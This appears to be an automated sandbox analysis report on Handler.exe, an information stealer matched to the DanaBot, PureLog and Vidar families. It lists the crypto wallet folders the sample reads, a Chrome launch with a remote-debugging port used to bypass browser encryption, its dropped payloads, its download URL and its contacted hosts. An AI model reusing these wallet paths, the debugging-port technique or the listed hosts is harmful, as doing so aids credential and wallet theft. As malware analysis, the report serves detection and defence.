Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Yara match	File source: 22.0.us0r9ri58y.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.2625608895.0000000000419000.00000020.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Handler.exe PID: 2968, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\us0r9ri58y.exe, type: DROPPED

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\Handler.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

Yara detected DanaBot stealer dll

Source: Yara match	File source: 22.0.us0r9ri58y.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000000.2625608895.0000000000419000.00000020.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\us0r9ri58y.exe, type: DROPPED

Yara detected PureLog Stealer

Source: Yara match	File source: Handler.exe, type: SAMPLE
Source: Yara match	File source: 0.2.Handler.exe.4059550.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.Handler.exe.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Handler.exe.4059550.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2378670031.0000000004059000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.2064432922.0000000000BD2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 1.2.Handler.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Handler.exe PID: 2968, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Create Account	1 Extra Window Memory Injection	1 Obfuscated Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	211 Process Injection	1 Software Packing	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	1 Timestomp	NTDS	54 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	11 Query Registry	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	111 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	3 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	3 Virtualization/Sandbox Evasion	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	211 Process Injection	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	2 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Link
Handler.exe	29%	Virustotal	Browse
Handler.exe	29%	ReversingLabs
Handler.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\us0r9ri58y.exe	100%	Joe Sandbox ML
C:\ProgramData\us0r9ri58y.exe	83%	ReversingLabs	Win32.Trojan.Ulise
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe	83%	ReversingLabs	Win32.Trojan.Ulise

Source	Detection	Scanner	Label
https://yachtingiturkey.com/	0%	Avira URL Cloud	safe
https://legalize.live	0%	Avira URL Cloud	safe
https://yachtingiturkey.com/CrypterTest1.exe#m~	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0012.t-0009.t-msedge.net	13.107.246.40	true	false	high
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
legalize.live	116.203.164.230	true	true	unknown
plus.l.google.com	172.217.18.14	true	false	high
play.google.com	216.58.206.78	true	false	high
t.me	149.154.167.99	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.244.18.38	true	false	high
www.google.com	142.250.181.228	true	false	high
googlehosted.l.googleusercontent.com	142.250.186.33	true	false	high
yachtingiturkey.com	162.0.209.157	true	false	unknown
assets.msn.com	unknown	unknown	false	high
r.msftstatic.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high
browser.events.data.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://sb.scorecardresearch.com/b2?rn=1736968595850&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=370FFD26CB8D69B80FE6E853CA946810&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false		high
https://steamcommunity.com/profiles/76561199817305251	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2665802894.00000000043D8000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2179229642.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184725429.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197727608.00001B0C00BB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000007.00000003.2179229642.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184725429.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197727608.00001B0C00BB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2665802894.00000000043D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/-	chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/oauth2/v2/tokeninfo	msedge.exe, 0000000C.00000003.2311003688.000079D40246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2310777059.000079D402464000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/0	chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/7	chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4633	chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7382	chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	Handler.exe, 00000001.00000002.2667841600.00000000047CF000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2664676243.000000000410F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/284462263	msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/:	chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/9	chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/C	chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000007.00000003.2181571065.00001B0C00FC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184429651.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2180846337.00001B0C00EF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184378272.00001B0C0078C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181701205.00001B0C0100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184760970.00001B0C003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181592971.00001B0C01040000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2185090898.00001B0C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184350976.00001B0C00C70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184453930.00001B0C00F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184915109.00001B0C01130000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181612148.00001B0C00EB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/	chrome.exe, 00000007.00000003.2175060224.00001B0C004A0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7714	chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/H	chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/R	chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000007.00000003.2184760970.00001B0C003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2185090898.00001B0C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184915109.00001B0C01130000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6248	chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000007.00000003.2197665566.00001B0C01354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197327524.00001B0C013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197700202.00001B0C01438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197156841.00001B0C0140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197138563.00001B0C0141C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/Y	chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6929	chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/c	chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5281	chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/?feature=ytca	chrome.exe, 00000007.00000003.2179229642.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184725429.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197727608.00001B0C00BB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/f	chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/255411748	msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/oauth2/v4/token	msedge.exe, 0000000C.00000003.2311003688.000079D40246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2310777059.000079D402464000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7246	chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7369	chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7489	chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/	chrome.exe, 00000007.00000003.2216806923.00001B0C01084000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/?q=	chrome.exe, 00000007.00000003.2179229642.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184725429.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197727608.00001B0C00BB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore	chrome.exe, 00000007.00000003.2178823724.00001B0C00D2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000002.2412280652.000079D40236C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-2.corp.google.com/	chrome.exe, 00000007.00000003.2175060224.00001B0C004A0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000007.00000003.2181571065.00001B0C00FC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184429651.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2180846337.00001B0C00EF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184378272.00001B0C0078C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181701205.00001B0C0100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184760970.00001B0C003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181592971.00001B0C01040000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2185090898.00001B0C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184350976.00001B0C00C70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184453930.00001B0C00F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184915109.00001B0C01130000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181612148.00001B0C00EB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000007.00000003.2179229642.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184725429.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197727608.00001B0C00BB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2665802894.00000000043D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/161903006	msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Handler.exe, 00000001.00000002.2665802894.00000000043D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-daily-1.corp.google.com/	chrome.exe, 00000007.00000003.2175060224.00001B0C004A0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/	chrome.exe, 00000007.00000003.2197727608.00001B0C00BB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-5.corp.google.com/	chrome.exe, 00000007.00000003.2175060224.00001B0C004A0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.ico	chrome.exe, 00000007.00000003.2179229642.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184725429.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197727608.00001B0C00BB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/chrome/blank.html	msedge.exe, 0000000C.00000003.2311003688.000079D40246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2310777059.000079D402464000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3078	chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	false		high
